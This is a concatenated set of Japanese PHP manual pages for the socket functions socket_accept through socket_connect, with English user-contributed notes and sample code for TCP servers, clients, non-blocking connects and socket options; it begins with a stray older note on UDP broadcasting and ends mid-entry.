http://www.ecst.csuchico.edu/~beej/guide/net/
judeman at yahoo dot com 04-Jun-2001 10:49
After several hours of working with sockets in an attempt to do UDP broadcasting, I thought a little help was in order for anyone else looking to do something similar, since it uses a number of those "undocumented" functions.  Here's how I did it:

<?php
    // here is a basic opening of the a socket.  AF_INET specifies the internet domain.  SOCK_DGRAM
// specifies the Datagram socket type the 0 specifies that I want to use the default protcol (which in this
// case is UDP)
    $sock = socket(AF_INET, SOCK_DGRAM, 0);

    // if the file handle assigned to socket is less than 0 then opening the socket failed
    if($sock < 0)
    {
        echo "socket() failed, error: " . strerror($sock) . "\n";
    }

    // here's where I set the socket options, this is essential to allow broadcasting.  An earlier comment (as of
// June 4th, 2001) explains what the parameters are.  For my purposes (UDP broadcasting) I need to set
// the broadcast option at the socket level to true.  In C, this done using SOL_SOCKET as the level param
// (2) and SO_BROADCAST as the type param (3).  These may exist in PHP but I couldn't reference them
// so I used the values that referencing these variables in C returns (namely 1 and 6 respectively).  This
// function is basically just a wrapper to the C  function so check out the C documentation for more info
    $opt_ret = setsockopt($sock, 1, 6, TRUE);

    // if the return value is less than one, an error occured setting the options
    if($opt_ret < 0)
    {
        echo "setsockopt() failed, error: " . strerror($opt_ret) . "\n";
    }

    // finally I am ready to broad cast something.  The sendto function allows this without any
// connections (essential for broadcasting).  So, this function sends the contents of $broadcast_string to the
// general broadcast address (255.255.255.255) on port 4096.  The 0 (param 4) specifies no special
// options, you can read about the options with man sendto
    $send_ret = sendto($sock, $broadcast_string, strlen($broadcast_string), 0, '255.255.255.255', 4096);

// if the return value is less than 0, an error has occured
    if($send_ret < 0)
    {
    echo "sendto() failed, error: " . strerror($send_ret) . "<BR>\n";            }
// be sure to close your socket when you're done
close($sock);


ソケットへの接続を許可する

  • ≪ ソケット 関数
  • socket_addrinfo_bind ≫
  • PHP Manual
  • ソケット 関数
  • ソケットへの接続を許可する

socket_accept

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_accept — ソケットへの接続を許可する

説明

socket_accept ( Socket $socket ) : Socket|false

socket_create() を使用してソケット socket を作成した後、 socket_bind() で名前に関連付け、 socket_listen() で接続をモニタします。この関数は、 このソケットへの接続を許可します。接続に成功すると、新しい Socket クラスのインスタンスが返されます。 このインスタンスは通信の際に使用されます。 ソケット上に複数の接続がキューで待っている場合、最初の接続が使用 されます。接続待ちがない場合、socket_accept() は接続が存在するまでブロックされます。 socket が socket_set_blocking() または socket_set_nonblock() により非ブロックモードで 作成された場合、false が返されます。

socket_accept() により返された Socket クラスのインスタンスは、 新規接続を許可するために使用することはできません。この場合でも 元の接続待ちのソケット socket は オープンされたままであり、再使用可能です。

パラメータ

socket

socket_create() で作成した Socket クラスのインスタンス。

返り値

成功した場合に新しい Socket クラスのインスタンスを、 エラー時に false を返します。 実際のエラーコードは、socket_last_error() を コールすることで取得可能です。このコードを socket_strerror() に渡すことで、 エラーの内容を文字列で取得することが可能です。

変更履歴

バージョン | 説明
8.0.0 | 成功した場合に、この関数は Socket クラスのインスタンスを返すようになりました。 これより前のバージョンでは、リソースを返していました。

参考

  • socket_connect() - ソケット上の接続を初期化する
  • socket_listen() - ソケット上で接続待ち(listen)する
  • socket_create() - ソケット（通信時の終端）を作成する
  • socket_bind() - ソケットに名前をバインドする
  • socket_strerror() - ソケットエラーの内容を文字列として返す

User Contributed Notes

renmengyang567 at gmail dot com 07-Apr-2019 06:25
<explain>
 This case is a very simple interaction between the TCP client side and the TCP server side

<?php
// create for simple-tcp-server
$sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_bind($sock, '127.0.0.1',5000);
socket_listen($sock,1);
$clnt_sock = socket_accept($sock); //阻塞
$st = "hello world ^_^";
socket_write($clnt_sock, $st,strlen($st));
socket_close($clnt_sock);
socket_close($sock);
?>

<?php
//create for simple-tcp-client
$clnt_sock = socket_create(AF_INET, SOCK_STREAM, getprotobyname('tcp'));
socket_connect($clnt_sock, '127.0.0.1', 5000);
$ret= socket_read($clnt_sock, 1024);
print "from simple-tcp-server:".$ret.PHP_EOL;
socket_close($clnt_sock);
?>

<fruit>
from simple-tcp-server:hello world ^_^
mightyplow at gmail dot com 18-May-2014 02:47
In order to make many clients connectable to the server, you have to set the accepted socket also to non-blocking. Otherwise the accepted connection will block further incoming connections.

while (true) {
    $newSock = @socket_accept($sock);

    if ($newSock) {
        echo 'client connected';

        socket_set_nonblock($newSock);
    }
}
Boylett 18-Apr-2008 09:01
If you want to have multiple clients on a server you will have to use non blocking.

<?php

$clients = array();
$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_bind($socket,'127.0.0.1',$port);
socket_listen($socket);
socket_set_nonblock($socket);

while(true)
{
    if(($newc = socket_accept($socket)) !== false)
    {
        echo "Client $newc has connected\n";
        $clients[] = $newc;
    }
}

?>
lars at opdenkamp dot eu 29-Jan-2008 04:35
If you want to make a daemon process that forks on each client connection, you'll find out that there's a bug in PHP. The child processes send SIGCHLD to their parent when they exit but the parent can't handle signals while it's waiting for socket_accept (blocking).

Here is a piece of code that makes a non-blocking forking server.

#!/usr/bin/php -q
<?php
/**
  * Listens for requests and forks on each connection
  */

$__server_listening = true;

error_reporting(E_ALL);
set_time_limit(0);
ob_implicit_flush();
declare(ticks = 1);

become_daemon();

/* nobody/nogroup, change to your host's uid/gid of the non-priv user */
change_identity(65534, 65534);

/* handle signals */
pcntl_signal(SIGTERM, 'sig_handler');
pcntl_signal(SIGINT, 'sig_handler');
pcntl_signal(SIGCHLD, 'sig_handler');

/* change this to your own host / port */
server_loop("127.0.0.1", 1234);

/**
  * Change the identity to a non-priv user
  */
function change_identity( $uid, $gid )
{
    if( !posix_setgid( $gid ) )
    {
        print "Unable to setgid to " . $gid . "!\n";
        exit;
    }

    if( !posix_setuid( $uid ) )
    {
        print "Unable to setuid to " . $uid . "!\n";
        exit;
    }
}

/**
  * Creates a server socket and listens for incoming client connections
  * @param string $address The address to listen on
  * @param int $port The port to listen on
  */
function server_loop($address, $port)
{
    GLOBAL $__server_listening;

    if(($sock = socket_create(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        echo "failed to create socket: ".socket_strerror($sock)."\n";
        exit();
    }

    if(($ret = socket_bind($sock, $address, $port)) < 0)
    {
        echo "failed to bind socket: ".socket_strerror($ret)."\n";
        exit();
    }

    if( ( $ret = socket_listen( $sock, 0 ) ) < 0 )
    {
        echo "failed to listen to socket: ".socket_strerror($ret)."\n";
        exit();
    }

    socket_set_nonblock($sock);

    echo "waiting for clients to connect\n";

    while ($__server_listening)
    {
        $connection = @socket_accept($sock);
        if ($connection === false)
        {
            usleep(100);
        }elseif ($connection > 0)
        {
            handle_client($sock, $connection);
        }else
        {
            echo "error: ".socket_strerror($connection);
            die;
        }
    }
}

/**
  * Signal handler
  */
function sig_handler($sig)
{
    switch($sig)
    {
        case SIGTERM:
        case SIGINT:
            exit();
        break;

        case SIGCHLD:
            pcntl_waitpid(-1, $status);
        break;
    }
}

/**
  * Handle a new client connection
  */
function handle_client($ssock, $csock)
{
    GLOBAL $__server_listening;

    $pid = pcntl_fork();

    if ($pid == -1)
    {
        /* fork failed */
        echo "fork failure!\n";
        die;
    }elseif ($pid == 0)
    {
        /* child process */
        $__server_listening = false;
        socket_close($ssock);
        interact($csock);
        socket_close($csock);
    }else
    {
        socket_close($csock);
    }
}

function interact($socket)
{
    /* TALK TO YOUR CLIENT */
}

/**
  * Become a daemon by forking and closing the parent
  */
function become_daemon()
{
    $pid = pcntl_fork();

    if ($pid == -1)
    {
        /* fork failed */
        echo "fork failure!\n";
        exit();
    }elseif ($pid)
    {
        /* close the parent */
        exit();
    }else
    {
        /* child becomes our daemon */
        posix_setsid();
        chdir('/');
        umask(0);
        return posix_getpid();

    }
}

?>
gmkarl at gmail dot com 22-May-2007 09:15
Be aware signal handler functions set with pcntl_signal are not called while a socket is blocking waiting for a connection; the signal is absorbed silently and the handler called when a connection is made.
simon at 180solutions dot com 16-May-2005 08:11
>Accepting a connection using php-sockets:
>
>$fd = socket_create(AF_INET, SOCK_STREAM, 6 /* OR >getprotobyname("TCP")*/);
>
>$PORT = 5000;
>
>socket_bind($fd, "0.0.0.0", $PORT);
>
>while(true)
>{
>$remote_fd = socket_accept($fd);
>
>remote_socket_client_handle($remote_fd);
>
>}
>
>It is simple!

This example doesn't work. You have to call socket_listen($fd) after your bind in order to accept incoming connections.

Simon
Greg MacLellan 11-Dec-2003 12:49
The socket returned by this resource will be non-blocking, regardless of what the listening socket is set to. This is actually true for all FCNTL modifiers.


与えられた addrinfo から、ソケットを作成してバインドする

  • ≪ socket_accept
  • socket_addrinfo_connect ≫
  • PHP Manual
  • ソケット 関数
  • 与えられた addrinfo から、ソケットを作成してバインドする

socket_addrinfo_bind

(PHP 7 >= 7.2.0, PHP 8)

socket_addrinfo_bind — 与えられた addrinfo から、ソケットを作成してバインドする

説明

socket_addrinfo_bind ( AddressInfo $address ) : Socket|false

Socket クラスのインスタンスを作成し、 与えられた AddressInfo インスタンスにバインドします。 この関数の戻り値は socket_listen() で使えます。

パラメータ

address

socket_addrinfo_lookup() 関数で作られた AddressInfo クラスのインスタンス。

返り値

成功したときは Socket クラスのインスタンスを返します。 失敗したときは null を返します。

変更履歴

バージョン | 説明
8.0.0 | 成功した場合に、この関数は Socket クラスのインスタンスを返すようになりました。 これより前のバージョンでは、リソースを返していました。
8.0.0 | address は、AddressInfo クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

参考

  • socket_addrinfo_connect() - 与えられた addrinfo から、ソケットを作って接続する
  • socket_addrinfo_explain() - addrinfo に関する情報を取得する
  • socket_addrinfo_lookup() - 与えられたホスト名に関する getaddrinfo の内容を配列で取得する
  • socket_listen() - ソケット上で接続待ち(listen)する

User Contributed Notes

There are no user contributed notes for this page.


与えられた addrinfo から、ソケットを作って接続する

  • ≪ socket_addrinfo_bind
  • socket_addrinfo_explain ≫
  • PHP Manual
  • ソケット 関数
  • 与えられた addrinfo から、ソケットを作って接続する

socket_addrinfo_connect

(PHP 7 >= 7.2.0, PHP 8)

socket_addrinfo_connect — 与えられた addrinfo から、ソケットを作って接続する

説明

socket_addrinfo_connect ( AddressInfo $address ) : Socket|false

Socket クラスのインスタンスを作り、 与えられた AddressInfo インスタンスに接続します。 この関数の戻り値で、残りのソケット関数が使えます。

パラメータ

address

socket_addrinfo_lookup() 関数で作られた AddressInfo クラスのインスタンス。

返り値

成功したときは Socket クラスのインスタンスを返します。 失敗したときは null を返します。

変更履歴

バージョン | 説明
8.0.0 | 成功した場合に、この関数は Socket クラスのインスタンスを返すようになりました。 これより前のバージョンでは、リソースを返していました。
8.0.0 | address は、AddressInfo クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

参考

  • socket_addrinfo_bind() - 与えられた addrinfo から、ソケットを作成してバインドする
  • socket_addrinfo_explain() - addrinfo に関する情報を取得する
  • socket_addrinfo_lookup() - 与えられたホスト名に関する getaddrinfo の内容を配列で取得する

User Contributed Notes

There are no user contributed notes for this page.


addrinfo に関する情報を取得する

  • ≪ socket_addrinfo_connect
  • socket_addrinfo_lookup ≫
  • PHP Manual
  • ソケット 関数
  • addrinfo に関する情報を取得する

socket_addrinfo_explain

(PHP 7 >= 7.2.0, PHP 8)

socket_addrinfo_explain — addrinfo に関する情報を取得する

説明

socket_addrinfo_explain ( AddressInfo $address ) : array

socket_addrinfo_explain() 関数は、下層にある addrinfo 構造体の内容を公開します。

パラメータ

address

socket_addrinfo_lookup() で作られた AddressInfo クラスのインスタンス。

返り値

addrinfo 構造体に入っているフィールドが含まれた配列を返します。

変更履歴

バージョン | 説明
8.0.0 | address は、AddressInfo クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

参考

  • socket_addrinfo_bind() - 与えられた addrinfo から、ソケットを作成してバインドする
  • socket_addrinfo_connect() - 与えられた addrinfo から、ソケットを作って接続する
  • socket_addrinfo_lookup() - 与えられたホスト名に関する getaddrinfo の内容を配列で取得する

User Contributed Notes

There are no user contributed notes for this page.


与えられたホスト名に関する getaddrinfo の内容を配列で取得する

  • ≪ socket_addrinfo_explain
  • socket_bind ≫
  • PHP Manual
  • ソケット 関数
  • 与えられたホスト名に関する getaddrinfo の内容を配列で取得する

socket_addrinfo_lookup

(PHP 7 >= 7.2.0, PHP 8)

socket_addrinfo_lookup — 与えられたホスト名に関する getaddrinfo の内容を配列で取得する

説明

socket_addrinfo_lookup ( string $host , string|null $service = null , array $hints = [] ) : array|false

host に接続できる別のやり方を探します。 この関数が返す配列は socket_addrinfo_bind() を使ってバインドできる AddressInfo クラスのインスタンスが含まれています。

パラメータ

host

探す対象のホスト名

service

接続するサービス。service が名前の場合、それに対応するポート番号に翻訳されます。

hints

アドレスを選択する条件を与えるヒント。 getaddrinfo によって定義されるヒントを指定できます。

返り値

他の socket_addrinfo 関数で使える AddressInfo クラスのインスタンスの配列を返します。 失敗した場合、false を返します。

変更履歴

バージョン | 説明
8.0.0 | 成功した場合に、この関数は AddressInfo クラスのインスタンスの配列を返すようになりました。 これより前のバージョンでは、リソースの配列を返していました。
8.0.0 | service は、nullable になりました。

参考

  • socket_addrinfo_bind() - 与えられた addrinfo から、ソケットを作成してバインドする
  • socket_addrinfo_connect() - 与えられた addrinfo から、ソケットを作って接続する
  • socket_addrinfo_explain() - addrinfo に関する情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


ソケットに名前をバインドする

  • ≪ socket_addrinfo_lookup
  • socket_clear_error ≫
  • PHP Manual
  • ソケット 関数
  • ソケットに名前をバインドする

socket_bind

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_bind — ソケットに名前をバインドする

説明

socket_bind ( Socket $socket , string $address , int $port = 0 ) : bool

address で指定した名前を socket で指定したソケットにバインドします。 これは、socket_connect() あるいは socket_listen() を使用して接続が確立される前に行われます。

パラメータ

socket

socket_create() で作成した Socket クラスのインスタンス。

address

ソケットの種類が AF_INET の場合、 address はドットで 4 つに区切られた表記 （例: 127.0.0.1）の IP アドレス。

ソケットの種類が AF_UNIX の場合、 address は Unix ドメインソケット （例: /tmp/my.sock）。

port（オプション）

パラメータ port は AF_INET ソケットにバインドする場合にのみ使用され、 接続するリモートホストのポートを指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラーコードは socket_last_error() により取得できます。 このコードを socket_strerror() に渡すことにより、 エラー内容を表すテキストを得ることができます。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

例

例1 socket_bind() を使用してソースアドレスを指定する

<?php
// 新しいソケットを作成する
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

// コンピュータが所有する IP アドレスリストの例
$sourceips['kevin']    = '127.0.0.1';
$sourceips['madcoder'] = '127.0.0.2';

// ソースアドレスをバインドする
socket_bind($sock, $sourceips['madcoder']);

// 接続先アドレスと接続する
socket_connect($sock, '127.0.0.1', 80);

// 書き込む
$request = 'GET / HTTP/1.1' . "\r\n" .
           'Host: example.com' . "\r\n\r\n";
socket_write($sock, $request);

// 閉じる
socket_close($sock);

?>

注意

注意:

この関数は、 socket_connect() の前に実行されている必要があります。

注意:

Windows 9x/ME 互換性の注意: マシンに属しないアドレスにソケットをバインドしようとした場合、 socket_last_error() は 無効なエラーコードを返すことがあります。

参考

  • socket_connect() - ソケット上の接続を初期化する
  • socket_listen() - ソケット上で接続待ち(listen)する
  • socket_create() - ソケット（通信時の終端）を作成する
  • socket_last_error() - ソケットの直近のエラーを返す
  • socket_strerror() - ソケットエラーの内容を文字列として返す

User Contributed Notes

gabriel at plenitech dot fr 23-Jun-2013 12:29
When doing Unix sockets, it might be necessary to chmod the socket file so as to give Write permission to Group and/or Others. Otherwise, only the owner is allowed to write data into the stream.

Example:

<?php
$sockpath = '/tmp/my.sock';
socket_bind($socket, $sockpath);
//here: write-only (socket_send) to others, only owner can fetch data.
chmod($sockpath, 0702);
?>
dresende at thinkdigital dot pt 21-Nov-2011 09:39
Regarding previous post:

"0" has address is no different from "0.0.0.0"

127.0.0.1 -> accept only from local host
w.x.y.z (valid local IP) -> accep only from this network
0.0.0.0 -> accept from anywhere
Mex 13-Sep-2011 05:25
It appears for the $address parameter:

'127.0.0.1'
accepts clients from localhost (eg. 127.0.0.1)

'0.0.0.0'
accepts clients from localhost, and the server's network (eg. 127.0.0.1, 192.168.2.5, 10.20.30.40)

'0' or 0
accepts clients from localhost, the server's network, and external networks (eg. 127.0.0.1, 192.168.2.5, 10.20.30.40, 209.85.169.99)
php50613160534 dot 3 dot korkman at spamgourmet dot org 13-Jun-2005 06:16
Use 0 for port to bind a random (free) port for incoming connections:

socket_bind ($socket, $bind_address, 0);
socket_getsockname($socket, $socket_address, $socket_port);
socket_listen($socket);
...

$socket_port contains the assigned port, you might want to send it to a remote client connecting. Tested with php 5.03.
gasket at cekkent dot net 03-May-2003 06:19
The aforementioned tidbit about using NULL to bind to all addresses did not work for me, as I would receive an error about unknown address. Using a 0 worked for me:

socket_bind ($socket, 0, $port)

This also allows you to receive UDP broadcasts, which is what I had been trying to figure out.
keksov[at]gmx.de 10-Jun-2002 11:22
If you want to reuse address and port, and get rid of error: unable to bind, address already in use, you have to use socket_setopt (check actual spelling for this function in you PHP verison) before calling bind:

<?php
if (!socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1)) {
    echo socket_strerror(socket_last_error($sock));
    exit;
}
?>

This solution was found by
Christophe Dirac. Thank you Christophe!


ソケットのエラーまたは直近のエラーコードをクリアする

  • ≪ socket_bind
  • socket_close ≫
  • PHP Manual
  • ソケット 関数
  • ソケットのエラーまたは直近のエラーコードをクリアする

socket_clear_error

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

socket_clear_error — ソケットのエラーまたは直近のエラーコードをクリアする

説明

socket_clear_error ( Socket|null $socket = null ) : void

この関数は、指定したソケットまたは直近のグローバルなソケットエラー のエラーコードをクリアします。

この関数により、 ソケットまたは直近のグローバルな拡張エラーコードとなる エラーコードの値を明示的にリセットすることが可能になります。 これは、エラーが発生したかどうかをアプリケーション内で検出する際に有用です。

パラメータ

socket

socket_create() で作成した Socket クラスのインスタンス。

返り値

値を返しません。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。
8.0.0 | socket は、nullable になりました。

参考

  • socket_last_error() - ソケットの直近のエラーを返す
  • socket_strerror() - ソケットエラーの内容を文字列として返す

User Contributed Notes

raphael at engenhosweb dot com dot br 27-Jul-2011 02:45
You can do this too, with anonymous function:
<?php
$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP) or function() {
            $errstr = socket_strerror(socket_last_error());
            echo ("Failed to create socket: " . $errstr);
            socket_clear_error();
        };
?>
ludvig dot ericson at gmail dot com 23-May-2006 04:08
If you want to clear your error in a small amount of code, do a similar hack as to what most people do in SQL query checking,
<?php
$result = mysql_query($sql) or die(/* Whatever code */);
?>

It could look like this:
<?php
if (!($socket = socket_create(/* Whatever code */)) {
    echo ("Failed to create socket: " . socket_strerror(socket_last_error()) and socket_clear_error());
}
?>

As you can see, I use "and" here instead of "or" since the first part will always return true, thus if you use or PHP's lazy boolean checking will not execute the last part, which it will with an and if the first part is true.


Socket クラスのインスタンスを閉じる

  • ≪ socket_clear_error
  • socket_cmsg_space ≫
  • PHP Manual
  • ソケット 関数
  • Socket クラスのインスタンスを閉じる

socket_close

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_close — Socket クラスのインスタンスを閉じる

説明

socket_close ( Socket $socket ) : void

socket_close() は、 socket で指定した Socket クラスのインスタンスを閉じます。

パラメータ

socket

socket_create() あるいは socket_accept() で作成した Socket クラスのインスタンス。

返り値

値を返しません。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

参考

  • socket_bind() - ソケットに名前をバインドする
  • socket_listen() - ソケット上で接続待ち(listen)する
  • socket_create() - ソケット（通信時の終端）を作成する
  • socket_strerror() - ソケットエラーの内容を文字列として返す

User Contributed Notes

yaBliznyk at gmail dot com 04-Apr-2017 10:46
/* any code */
$linger = array ('l_linger' => 0, 'l_onoff' => 1);
socket_set_option($socket, SOL_SOCKET, SO_LINGER, $linger);
socket_close($sock);

This is code to force close socket connection.
aeolianmeson at NOSPAM dot blitzeclipse dot com 29-May-2006 10:24
PHP: 5.1.4
Summary: close() does not relinquish socket immediately.

With the BSD socket implementation (which is the socket interface used by PHP), a socket_close() may close the socket, but there may yet be data to send. Until the data is sent, the port will not be available. Therefore, all further bindings attempted on that port will not be acceptable due to the 'port can not be reused' (the approximate message, anyway) error. Ordinarily, if the REUSABLE socket option is set, the only thing that will raise such an error is a binding to a specific IP/PORT combination that is already bound.

To avoid this problem, you must tell it to delay returning until the port either sends the rest of its data, or times-out in doing it. This is done via the SO_LINGER option. To set this option, it requires an array of two elements: the first indicates whether a linger is required on any data before the shutdown completes, and the second indicates whether we actually linger. If we set a nonzero to the first while setting a zero to the second, we would simply drop whatever data is waiting in the buffer, and close the socket. To tell it simply to wait on the data to be sent, you send a non-zero for both: array(1, 1).

Note that if you have indicated not to block (socket_set_nonblock()), it will simply exit no matter what, much like it usually would. In this case it bursts an EWOULDWAIT flag, but since I don't think we have access to these socket flags in PHP, one should re-enable blocking right before they set the linger and quit.

    // These commands get fed straight through to the Unix socket libraries.. That's why they're a little more C-like.
    $arrOpt = array('l_onoff' => 1, 'l_linger' => 1);
    socket_set_block($this->Socket);
    socket_set_option($this->Socket, SOL_SOCKET, SO_LINGER, $arrOpt);
    socket_close($this->Socket);
chaos 07-Jun-2002 03:57
Sometimes it seems that you have to shutdown() a socket before you can close() it. I experienced that while making a chatserver in PHP with this cool socket extension.


メッセージバッファサイズを計算する

  • ≪ socket_close
  • socket_connect ≫
  • PHP Manual
  • ソケット 関数
  • メッセージバッファサイズを計算する

socket_cmsg_space

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

socket_cmsg_space — メッセージバッファサイズを計算する

説明

socket_cmsg_space ( int $level , int $type , int $num = 0 ) : int|null

付随データを受信するために確保するバッファのサイズを計算します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

level

type

返り値

参考

  • socket_recvmsg() - メッセージを読む
  • socket_sendmsg() - メッセージを送信する

User Contributed Notes

There are no user contributed notes for this page.


ソケット上の接続を初期化する

  • ≪ socket_cmsg_space
  • socket_create_listen ≫
  • PHP Manual
  • ソケット 関数
  • ソケット上の接続を初期化する

socket_connect

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_connect — ソケット上の接続を初期化する

説明

socket_connect ( Socket $socket , string $address , int|null $port = null ) : bool

Socket クラスのインスタンスを用いて、 address への接続を初期化します。 このインスタンスは、socket_create() で作成した有効な Socket クラスのインスタンスである必要があります。

パラメータ

socket

socket_create() 関数で生成した Socket クラスのインスタンス。

address

パラメータ address には、 socket の種類が AF_INET の場合はドット区切り表記の IPv4 アドレス (例: 127.0.0.1)、 IPv6 サポートが有効で socket の種類が AF_INET6 の場合は IPv6 アドレス (例: ::1)、 AF_UNIX の場合は Unix ドメインソケットのパス名を指定します。

port

パラメータ port は AF_INET ソケット あるいは AF_INET6 に接続する場合にのみ必須となり、 接続するリモートホストのポートを指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。 エラーコードは、 socket_last_error() により取得できます。 このコードを socket_strerror() に渡すことにより、 エラー内容を表すテキストを得ることができます。

注意:

ソケットが非ブロッキングモードの場合、この関数は false を返し、エラー Operation now in progress を発生させます。

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。
8.0.0 | port は、nullable になりました。

参考

  • socket_bind() - ソケットに名前をバインドする
  • socket_listen() - ソケット上で接続待ち(listen)する
  • socket_create() - ソケット（通信時の終端）を作成する
  • socket_last_error() - ソケットの直近のエラーを返す
  • socket_strerror() - ソケットエラーの内容を文字列として返す

User Contributed Notes

tacapi at canela dot com 13-Apr-2017 12:35
Just a heads up guys: make sure you're passing a properly formatted IP to your ping and socket functions.

E.g.: 192.168.0.18 -> OK
      192.168.0.018 -> Will result in "Unkwown host"

I was getting a 11004 error and could not solve it until I realized that was the problem.

(Pode ser que seja util para alguem: verifique que o IP passado por parametro para o seu ping e funcoes socket e um endereco de IP corretamente formatado)
Cedar Myers 15-Apr-2011 10:23
It seems that timeout values can be specified by setting the SO_SNDTIMEO option before calling socket_connect():

<?php
socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $seconds, 'usec' => $milliseconds));
socket_connect($socket, $address, $port)//...
?>
thewanderer 17-Jan-2011 10:55
Note that as of PHP5.3 it is not possible to send IPv6 multicast to link-local addresses, because socket_connect() is just a trimmed-down version of connect() and does not support passing sin6_scope_id - the scope ID is required when sending packets to ff02::1 (all-nodes), for example.
At first I thought I needed to bind the socket to the device using SO_BINDTODEVICE option (undefined constant in PHP - use numeric value 25), but it makes no difference, only requires root privileges to produce no usable results.
Also, if you think you are sending multicast packets to link local addresses just because socket_sendto() returns a positive number of bytes, you might be wrong - just returning success does not mean that packets are sent over any link at all. In my test case I was sending to ff02::1, I could detect no errors, but Wireshark showed no packets. They end up in void.
This is irrelevant to the handling of local reception sockets, so UDP listeners should still work as usual with IPv6/UDP. You might want to resort to C for implementing multicasters, though.
peter at videoripper dot org 29-Oct-2009 11:29
This will give you a simple port-checker.

Note that on production-machines, you might want to alter the error reporting-level,
since unsuccessful connects will give you a "No connection could be made because
the target machine actively refused it"-error in the log.

Under Windows, make sure you enable the php_sockets.dll extension in your php.ini.

<?php
  $address=$_SERVER['REMOTE_ADDR'];

  if (isset($_REQUEST['port']) and
      (!strlen($_REQUEST['port'])==0))
    $port=$_REQUEST['port'];
  else
    unset($port);

  if (isset($port) and
      ($socket=socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) and
      (socket_connect($socket, $address, $port)))
    {
      $text="Connection successful on IP $address, port $port";
      socket_close($socket);
    }
  else
    $text="Unable to connect<pre>".socket_strerror(socket_last_error())."</pre>";

  echo "<html><head></head><body>".
       $text.
       "</body></html>";
?>

Greetz,

Peter.
jerrywilborn at gmail dot com 02-Sep-2009 09:40
This will print the banner from a true 'telnet' server (router, switch, host, etc).

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($socket, '127.0.0.1', 23);

while (TRUE) {
        $r = array($socket);
        $c = socket_select($r, $w = NULL, $e = NULL, 5);

        foreach ($r as $read_socket) {
                if ($r = negotiate($read_socket)) {
                        var_dump($r);
                        exit;
                }
        }
}

function negotiate ($socket) {
        socket_recv($socket, $buffer, 1024, 0);

        for ($chr = 0; $chr < strlen($buffer); $chr++) {
                if ($buffer[$chr] == chr(255)) {

                        $send = (isset($send) ? $send . $buffer[$chr] : $buffer[$chr]);

                        $chr++;
                        if (in_array($buffer[$chr], array(chr(251), chr(252)))) $send .= chr(254);
                        if (in_array($buffer[$chr], array(chr(253), chr(254)))) $send .= chr(252);

                        $chr++;
                        $send .= $buffer[$chr];
                } else {
                        break;
                }
        }

        if (isset($send)) socket_send($socket, $send, strlen($send), 0);
        if ($chr - 1 < strlen($buffer)) return substr($buffer, $chr);

}
vshih at yahoo 14-Apr-2009 12:52
rbarnes' tip is helpful, but I found that I needed to add a check for SOCKET_EISCONN in the while loop:

    ...
    $error = socket_last_error();

    if ($error == SOCKET_EISCONN) {
        $connected = true;
        break;
    }
    ...

At least on Mac OS X 10.5.
maganap 18-Sep-2008 12:15
Hi there!

For the TCP connections: socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
In case you're having problems in socket_connect() with socket_strerror() = "Permission denied", you may be having a SELinux config issue.

Check if SELinux is enabled:
# /usr/sbin/sestatus -v
In case it is, you can just type the command:
# setsebool httpd_can_network_connect=1

That's it... I read you had to reboot, but I didn't and it worked fine anyway. More info, you may check:
http://arkiv.netbsd.se/?ml=squirrelmail-users&a=2005-11&t=1523021
rbarnes at fake dot com 15-Jul-2008 10:04
Here is an example of a non-blocking connect which should perform quite a bit faster than the one posted by Seymour below:

<?php
function msConnectSocket($remote, $port, $timeout = 30) {
        # this works whether $remote is a hostname or IP
        $ip = "";
        if( !preg_match('/^\d+\.\d+\.\d+\.\d+$/', $remote) ) {
            $ip = gethostbyname($remote);
            if ($ip == $remote) {
                $this->errstr = "Error Connecting Socket: Unknown host";
                return NULL;
            }
        } else $ip = $remote;

        if (!($this->_SOCK = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
            $this->errstr = "Error Creating Socket: ".socket_strerror(socket_last_error());
            return NULL;
        }

        socket_set_nonblock($this->_SOCK);

        $error = NULL;
        $attempts = 0;
        $timeout *= 1000;  // adjust because we sleeping in 1 millisecond increments
        $connected;
        while (!($connected = @socket_connect($this->_SOCK, $remote, $port+0)) && $attempts++ < $timeout) {
            $error = socket_last_error();
            if ($error != SOCKET_EINPROGRESS && $error != SOCKET_EALREADY) {
                $this->errstr = "Error Connecting Socket: ".socket_strerror($error);
                socket_close($this->_SOCK);
                return NULL;
            }
            usleep(1000);
        }

        if (!$connected) {
            $this->errstr = "Error Connecting Socket: Connect Timed Out After $timeout seconds. ".socket_strerror(socket_last_error());
            socket_close($this->_SOCK);
            return NULL;
        }

        socket_set_block($this->_SOCK);

        return 1;
}
?>
mike at fserve dot us 22-Feb-2008 02:14
This probably sounds like common sense, but it is something nobody i asked thought of... you can't bind the socket to localhost, you must bind it to either the IP your router assigns you, or your public IP address. If you bind to localhost, it will give an invalid resource error.
telefoontoestel at home 23-Nov-2003 12:05
